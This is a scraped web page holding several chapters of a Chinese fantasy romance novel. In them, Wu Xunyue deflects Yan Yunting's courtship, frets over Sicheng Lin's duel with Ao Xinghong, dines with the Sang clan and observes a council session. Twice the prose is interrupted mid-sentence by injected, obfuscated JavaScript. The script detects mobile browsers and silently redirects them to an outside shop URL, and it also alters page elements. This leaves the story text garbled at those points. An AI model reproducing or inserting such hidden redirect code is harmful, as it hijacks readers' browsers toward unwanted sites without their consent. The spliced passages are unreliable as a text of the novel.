慕丹青说,那场战役,风族打输了,可是灵族失了司城靖,也没有赢。所幸上天庇佑,让司城靖的儿子是一个比他更名震青史的天才。 这天慕丹青临走前,还是决定对巫寻月和盘托出。此时巫寻月已将她送至断崖,她每次都在这里腾空遁形回神都城。 慕丹青突然就开了口:“跟你说实话吧。” “……什么啊?”见她眉眼藏笑,隐若有调侃,巫寻月猜那必定是一个她以为的惊喜。 “此事呢枫若恒让我保密,可我怎可能为他那边的人保密,我可是你的人,”慕丹青看上去仗义极了,她一定非常自我感动,“——燕云停喜欢你。” “……”巫寻月简直是大失所望。 “喂?你怎么没反应的?” “我……”巫寻月心如明镜,如若不是那天她为了“九部令”多看了燕云停几眼,他也不至于……她几乎是愧疚道,“……倒也不是很意外。” “哈哈哈哈哈——”慕丹青扬声爆笑,“巫寻月,你现在真是不得了,在情场也变得如此从容若定了!不知道的还以为你情史多丰富呢哈哈哈哈哈——我就喜欢你现在这样!” 巫寻月并不想追问,是慕丹青主动想告诉她——慕丹青又不知道她跟狄乐凰爱言萧鹤一样爱某人爱得要死。她认真说:“燕云停这人靠谱,不然我也不会拿来你面前虚晃给你添堵,燕家与我家门第相当,是神都望族,家风严谨,你定也瞧出了燕云停言行稳重,比枫若恒要强不少。他从小也勤勉,虽天资不如你,但如今的实力定还是在你之上的,且年长你三岁,也就是比我大三届,比乐凰大一届。他之前的相好与他同届,我也认识的,是海家三姑娘,姿容自是上佳——当然了,我是说和正常人比,不是跟你比……” “慕丹青,”巫寻月还是不耐烦了,学她眉目含笑的模样,却随时准备翻白眼,“有没有一种可能,你让枫若恒转告他……算了吧?” 慕丹青这是真吃惊了:“啊?燕云停也不行吗?你非要司城封座啊?” 自上次之后,这梗就过不去了,慕丹青说着无心,巫寻月听着有意,乐得自在顺水推舟:“是,我就要他,你赶紧给我想办法。” “这可真是难倒我了……”慕丹青一顿冥思苦想。 “哈哈哈哈哈——”轮到巫寻月爆笑,揽过她的肩膀又往回走几步,“想什么呢你?” “自然是为你谋划怎么给你和司城封座牵线啊,”慕丹青既认真又着急,“这可怎么办,若是迦染在,这事还好办些,可她现在又不在神都,甚至不在长隐洲……” “哈哈哈哈哈……”巫寻月实在停不下来了。 到最后,慕丹青便也认了:“罢了罢了,你既不喜欢,我也不多说了,只是寻月——你可别像乐凰那样,爱上不该爱的人。” 巫寻月知道她指的不是司城凛,但也是司城凛。 至于燕云停,那是一年后要烦恼的事,现在管不着,这七年级最后的悠闲时光,且让她好好消遣一二。 可巫寻月还是想错了。不出三日,她就在神都学宫见到了燕云停,且,还是在问心阁。巫寻月见到他的那一刻就在想——他究竟把她身边的人渗透到什么程度了? 燕云停理由充分得很:“天气转凉了,家母让我给我妹妹带些衣物过来,我妹妹在读三年级,也是控制系。” 巫寻月只得应承:“原来如此。” “听说你擅泡些茶水,不请我喝杯茶吗?”虽是这么说,可他人已不请自来,从门廊外移步到她面前了。 巫寻月虽不情愿,但也不至失了礼数,对他摆出不悦之色。她寥寥一笑,道:“我不过是闲来解乏时煮一壶茶哄自己开心罢了,要说擅长实在是班门弄斧——药茶涩口,你大概是喝不惯。” 此时案边的小泥炉上,正以文火慢烤着一只空壶,而巫寻月正将一套月白瓷茶具用热水温烫,燕云停正是在这般瓷具碰撞的清脆之音中闯入的,仿佛那白瓷里掺了杂质似的,突兀又刺眼——好吧,她得承认,此时出现的若是司城凛的声音,那便是天籁和弦,锦上添花了。 燕云停已坐下,并不那么端谨,松弛得好像他们多熟似的,就问:“烤这空壶是何意?” 巫寻月说:“山里有些潮气,烘烤空壶可驱散些潮气,以唤醒茶性。” 说着,她从备好的罐子里取出了一小撮茶叶,燕云停见了又问:“这是什么茶?” “只是普通红茶,入秋渐冷,红茶性温,喝些能暖胃生热,”巫寻月倒是秉持医者之心,随口便嘱咐,“但也不可过浓过量,且也不宜空腹用茶。” 燕云停顺势承她的情:“巫医师放心,我方才吃过饭了。” 他刻意压沉了声线,透出些许温柔与暧昧,她知道他在看她,便一直低头认真捣鼓,暗自腹诽他来得真是时候——随后还有一段文火慢焙的流程,得她坐定约一刻钟,此时无论他说什么,她都没有逃开的借口了。 空壶微温之后,巫寻月将茶叶倾倒入内,然后手持壶柄,开始于文火之上不断轻晃、翻动,使茶叶受热均匀。此为焙火,虽单调且费时,却是一向让她宁心静气的时候,她并不反感——除了今日。 还好,燕云停没有如巫寻月所想那样频繁开口,因为,他看她看得着迷了。她动作不疾不徐,带着一种独特的韵律感,面庞时而凑近焙壶,鼻翼微动,细辨茶香;时而凝神近看,仔细观察茶叶的颜色变化。而后,她微微皱眉,像是不太顺利,那眼神有懊恼,有无奈,有反思,也有挫败……总之,可爱极了。 阁内太静了,只有碳火轻微的噼啪声与茶叶在壶中翻滚的沙沙细响温柔交错,茶香已弥漫开来,这香气让燕云停兀自回了神,嘴角一弯,道:“倒是想不到,你的性子是如此沉静凝和……” “是吗?”巫寻月倒是出奇了,“那我应该是什么样?” 燕云停先是低眉一笑,并未很快作答,是勾她好奇,也是抑制自己心中涌动。少顷,他才开口:“想来艳冠神都、活色生香之人,该是如牡丹一般更向往室外骄阳,或如那七彩神凰一般偏爱灯火辉煌,总该不会喜欢偏安一隅孤芳自赏……怪我见识浅 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巫寻月闻言一惊,直到此时才真真正正抬头看向了他。燕云停非常满意她此刻的表情,他深邃地注视着她,低语如诉情话:“你该是像那蚀愈花,只开在空谷月夜,自有高洁,看似破碎,却有着极其强大的花蕊,形媚而不艳……只可惜,世人鲜少知道蚀愈花,只好勉强将你比作牡丹玫瑰了。” 巫寻月都顾不上想别的了,直问:“你……怎么会知道蚀愈花?” “家里有些古书志怪,从前闲来翻看,就记住了这颇为独特的花,”燕云停说的是实话,“只是这花实在罕见,我问过桑家许多高级医师,他们也不曾见过。” 将她比作蚀愈花,真是恰如其分。她虽是浓颜,却不凌厉,一张流畅鹅蛋脸,上庭饱满,下巴并不尖锐,所谓魅惑之相尽在立体眉眼,而往下的圆润鼻头与薄唇却是娇俏可爱,冲淡了眉眼的明艳感。如此精致却又破碎,那最恰当来说,便是媚了,让人见之欲醉的妩媚。 从前外人将她与狄乐凰齐名,狄乐凰为皓月,就强硬按她为骄阳,她虽没意见,但也总觉得,不适合自己。 巫寻月要骂人了。 ——司城凛,你真再如此下去,我真的会爱上别人。 这壶焙茶,终究还是过了些火候,但,没人在意了,燕云停本就醉翁之意不在茶,而巫寻月……原就说了只是初学,技艺不佳,怨不得她。 晚些时候燕云停离开,巫寻月跟着一同起身,她将他送到门口,还在犹豫时,燕云停就已主动说:“不用送,起风了,夜里凉,早些回去休息。” “……好。” 燕云停走了,巫寻月转过身来,心中警铃大作。 ——他说不用送,那一刻,她心里可不是松了口气。 巫寻月实在太闲,没了修炼压力,她就恢复了老爱好——去神都城逛街买买买。她隔三差五就往宿舍里运一箱箱的首饰、脂粉、衣服……慕丹青不得不说:“你干脆放我家得了,反正你快毕业了也要搬去自己的府舍,我家方便多了。” “那怎么行?”巫寻月莫名其妙,鄙夷地睨她,“首饰衣服就是要待在自己身边的,走哪到哪,不能放别人那里,跟你这种五大三粗的女人说不明白。” “——巫寻月!你说什么!” 不到一个月,巫寻月就把钱用光了,羞愧地写信回家找巫画荻乞讨。等待赈灾款的日子里,巫寻月就赖在慕府不走了,吃喝用度全记慕丹青账上。 期间,枫若恒和慕丹青为燕云停和她做局,邀她出去过一次,他们都在,她便没拒绝。可也显然,四人出行,其中两人已是情侣,另两人自然是始终在一起的。 但燕云停有意去碰她的手,她躲开了。 仅仅只是这样,她就开始想狄乐凰了。 也不知为何,老天要这样安排,狄乐凰大她两岁,就要先样样示范给她看,然后她也就这样由命运指引,步步走上了她的后尘。 可狄乐凰这一年也并不清闲,确切来说,和平期的最后一年,无人清闲。狄家加紧收账,充实财库,以备开战物资所需;空相家负责加固城防、边防基础设施——结合了司城家制造的武器和灵器,这些设施就可以用作抵御术法攻击,并予以反击。 另外,司城家与桑家更是职责明确。而梅家,虽看似与战事无直接关联,可毕竟几乎所有的灵师主力皆出自神都学宫,梅家在,灵师的精神支柱便在;梅晏晷在,灵师便可稳定军心,同仇敌忾。 再下一次,燕云停终于单独约巫寻月出去,她终是设法拒绝了。 慕丹青也是观不透她了,可也是真心为她着想,便来试探:“你……对燕云停究竟是何意?” 53. 第 53 章 巫寻月罕见沉默。她也并非不肯告知司城凜的事,只是她更清楚,她对司城凜之心,狄乐凰能懂,但慕丹青现在还不能。 慕丹青和狄乐凰对她来说,没有谁轻谁重,她都太了解了,甚至于对慕丹青,她理所当然地觉得她必然会知道,只是现在还不合适。 巫寻月只好装傻——倒也不是装,是老实巴交:“我真没钱了啊……” 慕丹青的白眼要翻上天了。 巫画荻收到巫寻月乞讨的来信,高兴坏了,自她去神都上学,她从来不主动问家里要钱,巫画荻生怕她不够花又不敢说,时不时就要给她添补用度——其实是真的给的太多了,巫寻月花不完。可就这样,七年级的第一个月,她终于真不够用了。 ——妹妹没钱花了,这可是头等大事。巫画荻拜托了驻城灵师一路加急给她送钱,可她巫寻月什么人啊,明日之星,风云人物,那驻城灵师也不过刚毕业一两年还在驻外服务期,怎会不知她名头,转头就把这事传得人尽皆知了。 所以突然之间,所有人都知道巫寻月没钱了…… 等巫寻月回到学校,同学们纷纷问她你家里给你送钱了吗,就连偶然碰见梅见蹊,他也十分关切地问她需不需要赞助。 巫寻月每天出门,脑门上都自带三滴汗水。 这事接着闹到了桑家,桑川禾一听,这哪行啊,直接找人给她塞了一大笔钱——这个人是桑淮舟。桑淮舟煞有介事地说:“反正这钱本来也是你家药铺的款项,直接给你也行,你姐姐那里自是不会有意见。” 梅见蹊和桑淮舟都知道了……那司城凛还能不知道? 司城凛听到之后,眉头一折,愣怔久久,才问:“是赋税太严苛,百姓负担不起了?” 梅见蹊险些喷饭,戏道:“是你的小情人太过无所事事,成日逛街吃酒买货,把钱花光了。” 司城凛:“……” 还不等司城凛想好怎么给巫寻月送钱,她已经连滚带爬躲进了慕府,不敢再出去见人了。 慕丹青得知此事,那爆笑声在府中响彻一天一夜,四邻皆可作证。 就在巫寻月正陷入燕云停为她设下的泥沼不知如何自拔之时,一记重磅消息如天外陨石,一个猛砸就将她从泥沼中砸了出来——风族敖星泓再约战司城凛,独立派执政的最后一年,敖星泓也在抓着这最后的机会。 听说,敖星泓放出激将之言,这六年来他不曾懈怠,修炼大有进益,而司城凛小儿整日忙于改革新政和捯饬家务,早已被他甩在身后。 此言一出,全族哗然,愤慨之声传遍街头巷尾,百姓们一声又一声的“司城宗主怎么可能输给他”,实则将司城凛架在了火上,最终,他不得不应战。 当日,梅晏晷罕见直奔九部令府寻司城凛,劝阻道:“此去,恐有诈。” 两人相商久久,司城凛最后决定:“无论如何,此去能探实独立派意图,若有诈,说明两派有和解之意,于我族是更大危机,可提前部署防备。” 那时梅晏晷观他,颇为欣慰,却也满是疼惜。 而另一头知道消息的巫寻月,都要急疯了。她当即去了狄府,狄乐凰依旧未回都,但拂绿姑姑说,可用同心鸾让她与狄乐凰传信。 雌鸾一站上巫寻月肩膀,她就听见了鸾鸟腹中传来的狄乐凰的声音:“寻月?怎么了?你找我何事?” “——乐凰!”巫寻月顾不得其他,十分急切道,“他要去向敖星泓应战!今日梅校长前去找他了,他还是决定要去应战!”至于为何她这么快知道梅晏晷找过司城凛,还得归功于燕云停。 “你先别急,”狄乐凰在那头说,“既然梅校长已和他商量过,那就是他们共同的决定,梅校长定是为他思虑周全的。” “我没办法不急……”巫寻月实在按捺不住,“敖星泓放出那些激将之言,拿灵族百姓的悠悠众口架烤他,分明要他不得不去,谁知是不是诱他入局想要伏击他,就像当年司城宗主……” 狄乐凰依旧冷静:“寻月,你听我说,敖星泓是风族独立派的世子,敖家一向磊落,要战便是战,史上从未有过这种卑劣之事……” “可是乐凰,我不管什么独立派传承派,在我没进入灵师世界之前,我只知道他们都是风族……”巫寻月虽急切,却字字清晰,“或许你们从小被灌输了两派之争的概念,谁知这不是一种蒙蔽的假象?” 狄乐凰迟疑了片刻,才说:“你说的不无道理,十一令和天听阁、我家族老,也都曾设想过如此。可寻月,阿凛他这六年也都没搁置修炼,未必会逊于敖星泓,且梅校长也……” “梅校长会同意,是因为司城凛会告诉他……他就是要以身入局,一探独立派之意,”巫寻月已带了哭腔,“他一定也怀疑两派会和解,共同蒙蔽我族,此去一试,我们就能提前有所准备了……” “寻月,寻月你别哭啊……”狄乐凰有些慌了,“这些你是听谁说的?” 巫寻月缓了缓呼吸,才说:“没有听谁说,是我自己想的,他所谓的责任,让他一定会这么做。” 狄乐凰心中震荡无比。她一直以为,巫寻月不够懂司城凛,原来,竟是她错了。 半晌,狄乐凰语重心长地告诉她:“寻月,你或许不够理解梅校长和老司城宗主的交情,他们……他们是千年来最紧密无间的同伴,是灵族史上最璀璨的双杰,阿凛于梅校长,是和梅世子同样重要的人,校长一定不会看着他去涉险的。且,司城宗主和梅宗主的共同决定,全灵族谁也无法撼动,你明白吗?” 巫寻月在这头怔怔道:“……那我怎么办?” 狄乐凰说:“……你若是想见他,我可以为你安排。” 最终,巫寻月还是没去见司城凛。她清楚现在的自己对他来说,不过是个累赘而已,有太多天大的事情排在她前面,等着他去处理,去做决策。 司城凛是夜里独自离都的,未惊动百姓一人,等有他消息传回时,他人已在边防卫所,巡察驻防情况了。 那一日,各地百姓自发聚集游街,为司城凛呐喊助威。似乎直到这一刻,巫寻月才终于亲见司城凛在全灵族心中的地位,原来从前在学校里所有人对他的尊崇仰慕,不是孩子们的盲目,而是全灵族的缩影。 司城凛离开后不久便是冬至,桑家请巫寻月到府中吃饭,说她姐姐特对采药队管事相托,希望桑家代她照看妹妹一二,既是冬至,桑家便邀她到家中一同吃个便饭。 来接她的人是桑家郡主桑枕清,她年长寻月不少,已嫁做人妻,一同来的还有朝黎。桑枕清巧笑嫣然对她说:“父亲怕你不来,特让我来同你说明,今日家宴只有我家中人,我夫君不在,且把朝黎也喊来了,怕你觉得生分不安。” “还劳动郡主专程来请我,寻月实在惭愧……”既已如此,巫寻月哪还有不去的道理。 净尘鼋从断崖腾空而起之时,巫寻月在想——她到底什么时候才能坐上烈火驹啊?五大宗族的车驾已坐了三家,可就偏偏不是她最想要的烈火驹。 路上桑枕清握着她的手,瞧着她就欢喜:“一直听乐凰说有机会定要见见你,我就想你快些毕业就好了,等来了府中,我想见便能见了。” “多谢郡主抬爱,”巫寻月在不熟的贵女面前恭谨乖巧得很,“乐凰……多也是闲着打趣我罢了,只是她离都了许久,独自在外漂泊,我也是很担心她……” 桑枕清听着,发笑起来:“乐凰也跟我说,不放心你在神都,要我多照看你呢,你们两个啊……” 桑川禾今日请巫寻月入家宴,自然也不只是吃顿冬至饭这么简单。毕业在即,各部都在关心优秀毕业生的去向,若是对谁有意,也会提前接洽招揽。虽说巫寻月是医疗系,各部都默认了她的去向,不会与桑川禾争,可桑川禾也不能因此有恃无恐,轻慢了她。 既是家宴,便就设在桑府中他们每日用晚饭的厅堂中。一路向深宅内廷行进,巫寻月略有惶恐,终归来面见的都是大前辈,还有桑川禾这样的宗师人物,如何也不会像去狄府那般舒坦。 也终于,穿过内廷时,她见到了开在莲池中央那株不同寻常的大莲花。那莲花底盘硕大,足够托起一人,花苞上泛七彩灵光,周遭隐若有雾,远远观之,宛如犹抱琵琶半遮面的青涩闺秀。 朝黎道:“这就是我跟你说过的大莲花。” 巫寻月感受到了那七彩莲所散逸的至纯灵气,不由自主便心醉往之:“真漂亮啊……” 桑枕清也告诉她:“这是我族祥瑞——东君,生于至阳之息,为天地间破晓之光所化,光辉所至,万物生长。我家先祖有幸得遇,两相契合,东君便愿世代守护我族,你若来了桑家,以后便也是东君庇佑之人了。” 巫寻月此话由衷:“能得东君庇佑,寻月万望幸至。” 的确是桑家家宴,席上坐着的,有桑川禾与其夫人、桑淮舟与其夫人及幼子、桑家小少爷,加上刚刚到来的桑枕清、朝黎以及为客的巫寻月,一共是九人。主位还空了一座,桑川禾吩咐下人去请老太太,可也已事先说好,老太太推说不来,以免给巫寻月太大压力。 席间,巫寻月礼仪得体,落落大方,言谈分寸得当,还很会适时说笑,引得气氛其乐融融,几位女眷都喜欢得紧。 桑枕清欢喜道:“父亲说得极是,寻月与我们天生就像一家人呢。” 宗主夫人也笑道:“只可惜老身没有与你年纪相仿的儿子,若是能亲上加亲便好了,你若不嫌小儿年幼浅显,可再等他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽外界有传言,桑川禾并不会真的对她倾囊相授,毕竟灵族千万年来从不存在两位医疗系封号灵师,更不存在桑家以外的医疗系封号灵师。但这世间只有桑川禾最清楚——此言扯淡。 正说笑着,桑川禾柔和的面色间突然如有神力一点,一道轰鸣自脑海深处迸发。这并非是一个声音,一个影像,或任何一种作用于他大脑神经的具象,而是一种感应,一种与灵脉同频共振的感应,不会对他造成任何影响,但如若不回应,那轰鸣便会一直存在。 夫人最先察觉到他有异,关切道:“怎么了?” 巫寻月随众人一同看去时,桑川禾已抬起左手——他左手拇指上为桑家家传玉扳指,食指上还戴了一枚灰色的,看那材质,应当是一枚灵器。 桑淮舟最先反应过来:“是司城宗主给您传信了?” 巫寻月心中一震,只见桑川禾当即起身,众人正要跟随而起,他抬手一扬,温言道:“不必,你们坐下吃饭——寻月,老夫有些事,需暂离片刻。” 说完,他不等巫寻月恭维回礼,匆匆离开了饭厅。 桑川禾的身影消失了,巫寻月的目光却仍紧随。一边的桑淮舟见了,主动解释道:“那是司城宗主与父亲的信契指。” 巫寻月看向他:“信契指?” “一种专属于两人间的通信灵器,制作时需将两人灵力结合注入,对方若是来信,便能在脑海中感应。” 巫寻月听明白了,却更心惊肉跳。她指尖不住微颤,竭力平静地问:“……司城宗主此刻正赴与敖星泓之战,可是……遇到了什么变故?” 桑淮舟观她,并未很快作答。虽然桑淮舟不是封号灵师,可真灵在破灵级灵师面前,却也如同三岁小儿,心绪躁动时引得灵压浮躁,全然明明白白具象于桑淮舟眼前。这也怪不得她,只有升入隐灵境,才能学会在常规状态下完全隐藏自己的灵压不被察觉,因此,下一层修为才谓之“隐灵境”。 桑淮舟很郁闷。上次司城凛抱她前来送医,又不肯暴露自己,他还以为司城凛单相思呢——虽然听起来就离谱。但现在更离谱了,她她她……她明明也是在意他的,这俩人闹嘛呢? 但他心里腹诽便罢了,医者多不问世事,没人比桑家更懂保护隐私。 桑淮舟面上并无笑意,司城凛来信,必是要事,儿戏不得,他只说:“此刻我们自是还未可知,司城宗主既能给父亲来信,想必是暂时无虞。” ——暂时无虞? 桑淮舟看到,她的灵压没有半点抑制,反而越发紊乱不安了。她能怎么冷静?司城凛在外应战,他若是找的梅宴晷也就罢了,竟是找桑川禾! 很快,桑川禾就回来了。他人进了饭厅,却没有回到座位的意思,只到了稍近处便开口:“你们先吃饭吧,老夫需得离开一趟,处理些事务,不必等——清儿,好好照顾客人。” 桑枕清应下了。虽桑川禾面上祥和,可桑淮舟怎能不察,他站了起来,道:“父亲可需要孩儿相助?” 桑川禾依旧淡然:“不必。” 桑川禾要走了,巫寻月再也克制不住,开口发问:“——桑宗主!可是司城宗主……受伤了吗?” 54. 第 54 章 所有人先看向她,再看向桑川禾。倒也不是疑她什么,司城凛的安危,没有人不关心。 桑川禾稍有一怔,她浑身灵压躁乱,已等同于自己的心思明明白白写出来了。桑川禾给了她一道笑意,说:“司城宗主并未受伤,放心。” 桑川禾当然不会说到底是什么事,留下此话,便离开了。 之后巫寻月已然全无心思,饭后桑枕清邀她再去别处走走,赏些府中景色,朝黎也是兴致勃勃,热情得很,而桑淮舟有意替她解围,便说:“寻月今日想是思乡,或该给姐姐写家书了,外头天冷,确实也不宜夜里走动。” 巫寻月感激涕零,顺势道:“是,寻月是得给姐姐写信了,承蒙郡主热情,下次寻月再到府上,找郡主讨杯茶喝。” 既如此,便也无人勉强了。 司城凛向桑川禾所发之信,如两人不对外人所道,便也就是天知地知,再无第三人知晓。但司城凛必然不会瞒着梅宴晷,而两位宗主也不会瞒着各自的继承人,所以一旦要通消息,全长隐洲便也就这五人知晓,别无探听的可能。 这些是狄乐凰告诉巫寻月的,五大宗族的关系便是如此紧密无间,司城凛和狄乐凰之父自也有他们二人的密事,若是绝密,也就她大哥可知,她和姐姐都不可道。 狄乐凰由衷对巫寻月说:“其实有些时候,我也为阿凛感慨,成年的宗门世子中,他年纪最小,从前与我们一道读书、练功、出游,总觉得我们是一样的,玩玩闹闹,天塌下来,还有父亲顶着……可突然很快,他自己就要做那个顶天的人了,有些时候我都觉得不真实,恍惚间好像觉得我、梅见蹊,还有空相家二公子,我们都还没有真的长大,可从小和我们一起长大的阿凛,就已经和我们的父亲同桌议事了,说着许多不能告知我们的事……” 狄乐凰告诉她,若是不能理解他,无需自责,司城凛的责任,即便是宗门子嗣也理解不了,全灵族无一人能真正理解。 桑川禾此去多日未归,桑家口风严密,即便是朝黎这样的旁支也秉持这基本的为医之道,无一人走漏消息。 但巫寻月那日离开时,桑淮舟竟也未提醒她,也不知是过于信重她,又或是什么。 不巧的是,七年级的天听阁议事旁听实习,恰逢此时。 天听阁议事会自有分级,一般性事务为天听阁七位阁老列席决定,提级事务需十一令与天听阁十八位领袖列席,而特提事务,则再需加入其余三家宗族,一共二十一人集体决议。 根据本周会务议程,一般性事务与提级事务占八二开,而特提事务只有一件。神都学宫本届毕业生五百余人,分九批依次到天听阁旁听议事会,按照班级顺序排列对应事务议程,待排期表一出,高兴的失望的,议声沸反盈天。 显然所有人都想排中那唯一一场特提事务,名额只有四十多个,那是哪个班如此幸运呢——很显然,这会排给医疗系一班二班,加起来正好四十七人。 见到排期,巫寻月心中汹涌难平。她向老师提问:“那要是有人告假缺席,该如何呢?” 老师说:“自然这是常有的事,各类事务繁重,封号灵师们不是天天都有空参会的,他们各有自己的全权代言人代为出席,代言人的立场即是本尊的立场——十一令代言人一般为各令副座,五大宗族或为继承人或为族中长老,天听阁诸位阁老较少缺席,毕竟是他们本职所在。” 也显然,大部分同学都想看司城凛参会,所以排中提级与特提议程的同学都很高兴。自然十一令诸位封座大人也各有粉丝,强攻系同学大部分都崇拜赦罗,言萧鹤也有大批粉丝,云崖朝乾是控制系学子的集体狂欢,穹仪如此女中豪杰女生们都喜欢,桑川禾雍容华贵,非医疗系学子也多有仰慕,其余几位相对小众一些,毕竟都是中老年了。 但到底是大部分人都排的一般性事务,虽有些失落,但能有机会一睹大灵师尊容,学习灵术一遭便也算无憾了——毕竟,这大概率是他们一生之中唯一的机会。 瞧着他们个个兴致勃勃的样子,老师可给他们敲了一记预防:“天听阁议事会你们现在想来定是十分高端威严又厉害,其实呢……很无聊的,全洲各类事务极其繁杂,你们现在听也听不大懂,听久了也就困了。” 可这番道理现在说给这群黄毛小儿,自然是无人在意的。 其余什么都无关紧要,于巫寻月而言,她只关心司城凛是否已经归来,能否照常列席。 几天过去了,她得不到他一点消息,梅宴晷在或不在她也不知道,桑川禾归与未归她还是不知道,梅见蹊倒是照常在上课,只是她记着狄乐凰的话,并未去找他探听。 所幸锦章排中了提级事务议程,巫寻月特意在宿舍等她回来,锦章也知趣得很,一回来就先说了大家最关心的事——“司城封座不在,据说他的代言人有两位,根据事务内容,看是司城家族老还是九令副座前去,今日议的是边关事务,便是副座大人去了。” 巫寻月一同问了桑川禾,锦章说,他也不在,同样是十令副座列席。没了这两位,对她们来说这议事会还有别的看点,兴冲冲分享去了,巫寻月却是再无心思。 前面几场议程下来,据与会同学所说——确实无聊。议事真就只是议事,偶用灵术辅助,也只是图个方便,或还原现场,并不是什么华丽震撼的术法。各方轮流发言,所讲内容细碎又复杂,这些孩子又几乎不了解,根本听不明白,最终也只感慨,天听阁工作真是繁琐。 好像不在战场上大开术法,这些穿着统一制式官服的大人物们,个个都成了看似普通的人。 巫寻月怀揣着忧虑和一丝希望去了天听阁,可果然,司城凛并不在。倒是她注意到,天听阁诸位阁老相继看了她一眼,大约是在看一眼真灵境毕业生是谁。 而十一令座首们对她倒是没那么热衷,强者自有其傲气,又或者是听说本届真灵境毕业生为医疗系,觉得与自己无关。云崖朝乾倒是个爱看热闹的老头儿,看了一眼;穹仪看起来也是个好说话的大姐,而慕之遥早知道她与慕丹青交好,也注意了一下。 巫寻月格外留意了言萧鹤,今日,他也照常列席。巫寻月与狄乐凰情如姐妹这事无人不晓,且是从六年前言萧鹤与狄乐凰藕断丝连之时就已传开,如果他对她之事留心,不会不知道。而今,如果言萧鹤真的还在意狄乐凰,加上巫寻月真灵级毕业生的名头,他该是会瞧一眼的——仅仅只是女人的直觉。 巫寻月盯着他,一直在等——结果终还是让她等到了。言萧鹤平静地看了她一眼,很快便垂眸,之后不再有其他表现。听说他在议事会上意见很少,如涉及八部令治下事务,也很言简意赅,若是天听阁有压倒性的不同意见,他也多是听从。 巫寻月可叹地沉了口气,也不知道这是狄乐凰之幸,还是不幸。 对于这场旁听实习,巫寻月还是很认真的。她和所有人一样对大灵师怀抱无上尊崇,她也没有忘记,七年前司城凛正是以灵族首尊是一位女性来鼓励她走出邬戍城,来到神都。 大灵师是一位极其温柔的女性,在位近二百年,以擅于听取意见、中和不同声音闻名,俗称和事佬,她领导下的本届天听阁也一贯表现得公正严明,阁老们都很愿意各抒己见。 最后,虽然十一令副座沙无痕并未对巫寻月多留意,但巫寻月却是多注意了他。是个看起来年纪与言萧鹤相仿的男子,一袭浅绿色窄袖交领劲装,配黑色皮革护腕与腰带——这些都是十一部令的标配官服,这配色嘛,巫寻月也喜欢。 沙无痕话不少,也会笑,看起来是个好说话的。这倒是让巫寻月稍稍松了口气。 晚上回到学校,慕丹青来找她,两人一道去都前驿买汤圆吃。聊起今日议事会,巫寻月如此总结道:“大灵师看起来非常温柔,像个慈祥的老奶奶;定元阁老看起来脾气有些爆,有一回我险些以为他都要吵起来了——闻人阁老没有想象中帅啊!我还以为会是言封座那样的类型,才让穹仪封座如此念念不忘呢……还有巽青行巽阁老!看起来呆呆的,好像没睡醒,好可爱哦!” “不错,总结到位,”慕丹青点了点头,“这些都是这几位阁老的经典形象了,其他的呢都很中庸死板,我估计你也没记住。” 巫寻月问她:“那巽青行阁老战力如何呀?” 巫寻月之所以单独问这位,是因为巽青行也是一位女性,女人和女人之间总是有更多的惺惺相惜。 可慕丹青却说:“这还真不太清楚,我问过我伯父,他也不太清楚,天听阁阁老出手太少,也不兴比武,若有比试,该也是私约,从未听过传闻。” 连慕丹青这样的世族之女、十一令座首的至亲都不知道,想来事实便是如此了。巫寻月觉得有些可惜,直觉告诉她,巽青行的中庸透着一种大智若愚的感觉,阁老席位并不像十一令座首全凭武力值,虽巽青行看起来淡泊呆萌,但一定自有城府。 司城凛这一消失,让巫寻月做出了一个让她为自己羞愧的决定——她不得不继续接受燕云停的示好,以探听司城凛的动向。 虽然她还是不答应与他单独约会,但慕丹青攒的四人局她并不推拒,这样每每外出时,慕丹青与枫若恒便刻意远离一些,留她与燕云停独处,这样名义上并非单独,可实质上……巫寻月不敢对自己承认。 一次他们约着去寺庙礼拜,人潮拥挤,快走散时,燕云停抓紧了巫寻月的手。她愕然失色,下意识挣扎,他却紧抓不放,直到离开人群,他才没了借口不得不放开她。之后的那天,巫寻月的脸色再也没有好,早早便说要回了。 慕丹青与枫若恒私下讨论过,男方多倾向于她是羞怯,慕丹青没有想到更好的解释,只得认同。可她心里却是清楚哪里不对——有燕云停在的场合,巫寻月从来不好好打扮,慕丹青从前五大三粗——好吧,她得承认——可现在不同了,她观巫寻月去见燕云停之前毫无兴致精心梳妆,甚至都没有来见她和狄乐凰积极,这根本就不是去见意中人的心境。 这一夜巫寻月辗转不眠,她面对不了自己的卑鄙,还是决心与燕云停道清,到此为止。可燕云停见她郁结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894569|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,第二天下值之后,先她一步来见了她。 燕云停还是在问心阁见的她,原先昨夜她是要宿在慕府的,可那一牵手让巫寻月心乱如麻,连慕丹青也不想见了,匆匆逃回了学校。 巫寻月专为他准备了一味药草,而他一开口便是说:“一早就想来找你,但封座大人一早就到了府中,便忙起了一些事务。” 巫寻月正襟危坐,放在裙裾上的手狠狠一揪,险些划破自己的手背。她克制着自己的呼吸,问:“司城封座他……不是去找敖星泓应战了吗?已经回来了?” “是,今日上午已回到九部令府办公,”燕云停以为借此闲谈放松气氛,继续说,“我们也追问封座大人战况如何,可他却说此战并未打成,大家都很惊讶,但你也知道我封座大人话不多,并未解释,但看他身上并无挂彩,精力充沛的样子,该是确实没有经历苦战。” 此言如定海神针,迅速镇抚了她心底的滔天巨浪,飓风暴雨,驱散了笼罩在她心头多日的森森阴霾。虽不知司城凛究竟为何找桑川禾,但得知他平安归来——这就够了。 见她沉默下去,燕云停以为她心有余悸——她的确是心有余悸,却不是为他燕云停——燕云停神色一正,认真开了口:“寻月,昨天……是我失礼了,我不该如此着急,见你脸色不好,我一夜难眠,心里想的都是你,一早就想来向你道歉——对不起,我绝不会再这样失礼,你原谅我好不好?” 